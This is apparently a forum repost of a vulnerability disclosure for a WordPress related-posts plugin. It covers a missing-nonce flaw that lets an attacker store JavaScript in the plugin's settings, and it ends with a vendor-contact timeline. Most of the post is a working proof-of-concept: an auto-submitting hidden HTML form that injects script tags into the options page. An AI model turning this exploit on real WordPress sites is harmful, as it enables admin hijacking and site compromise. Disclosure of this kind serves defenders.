Aerosol Posted May 10, 2015 Report Posted May 10, 2015 https://wordpress.org/plugins/yet-another-related-posts-plugin/Affected Versions <= 4.2.4 Description 'Yet Another Related Posts Plugin'options can be updated with no token/nonce protection which an attacker mayexploit via tricking website's administrator to enter a malformed pagewhich will change YARPP options, and since some options allow html theattacker is able to inject malformed javascript code which can lead to *codeexecution/administrator actions* when the injected code is triggered by anadmin user.injected javascript code is triggered on any post page. Vulnerability ScopeXSSRCE ( http://research.evex.pw/?vuln=14 ) Authorization Required None Proofof Concept<body onload="document.getElementById('payload_form').submit()" > <form id="payload_form"action="http://wpsite.com/wp-admin/options-general.php?page=yarpp"method="POST" > <input type='hidden' name='recent_number' value='12' > <input type='hidden' name='recent_units' value='month' > <input type='hidden' name='threshold' value='5' > <input type='hidden' name='weight[title]' value='no' > <input type='hidden' name='weight[body]' value='no' > <input type='hidden' name='tax[category]' value='no' > <input type='hidden' name='tax[post_tag]' value='consider' > <input type='hidden' name='auto_display_post_types[post]' value='on' > <input type='hidden' name='auto_display_post_types[/page][page]' value='on' > <input type='hidden' name='auto_display_post_types[attachment]' value='on' > <input type='hidden' name='auto_display_archive' value='true' > <input type='hidden' name='limit' value='1' > <input type='hidden' name='use_template' value='builtin' > <input type='hidden' name='thumbnails_heading' value='Related posts:' > <input type='hidden' name='no_results' value='<script>alert(1);</script>' > <input type='hidden' name='before_related'value='<script>alert(1);</script><li>' > <input type='hidden' name='after_related' value='</li>' > <input type='hidden' name='before_title'value='<script>alert(1);</script><li>' > <input type='hidden' name='after_title' value='</li>' > <input type='hidden' name='show_excerpt' value='true' > <input type='hidden' name='excerpt_length' value='10' > <input type='hidden' name='before_post' value='+<small>' > <input type='hidden' name='after_post' value='</small>' > <input type='hidden' name='order' value='post_date ASC' > <input type='hidden' name='promote_yarpp' value='true' > <input type='hidden' name='rss_display' value='true' > <input type='hidden' name='rss_limit' value='1' > <input type='hidden' name='rss_use_template' value='builtin' > <input type='hidden' name='rss_thumbnails_heading' value='Related posts:' > <input type='hidden' name='rss_no_results' value='No Results' > <input type='hidden' name='rss_before_related' value='<li>' > <input type='hidden' name='rss_after_related' value='</li>' > <input type='hidden' name='rss_before_title' value='<li>' > <input type='hidden' name='rss_after_title' value='</li>' > <input type='hidden' name='rss_show_excerpt' value='true' > <input type='hidden' name='rss_excerpt_length' value='10' > <input type='hidden' name='rss_before_post' value='+<small>' > <input type='hidden' name='rss_after_post' value='</small>' > <input type='hidden' name='rss_order' value='score DESC' > <input type='hidden' name='rss_promote_yarpp' value='true' > <input type='hidden' name='update_yarpp' value='Save Changes' > </form></body>Fix No Fix Available at The Moment. Timeline Notified Vendor - No ReplyNotified Vendor Again- No ReplyPublish Disclosure @evex_1337[url]http://research.evex.pw/?vuln=15[/url]HomepageSource Quote
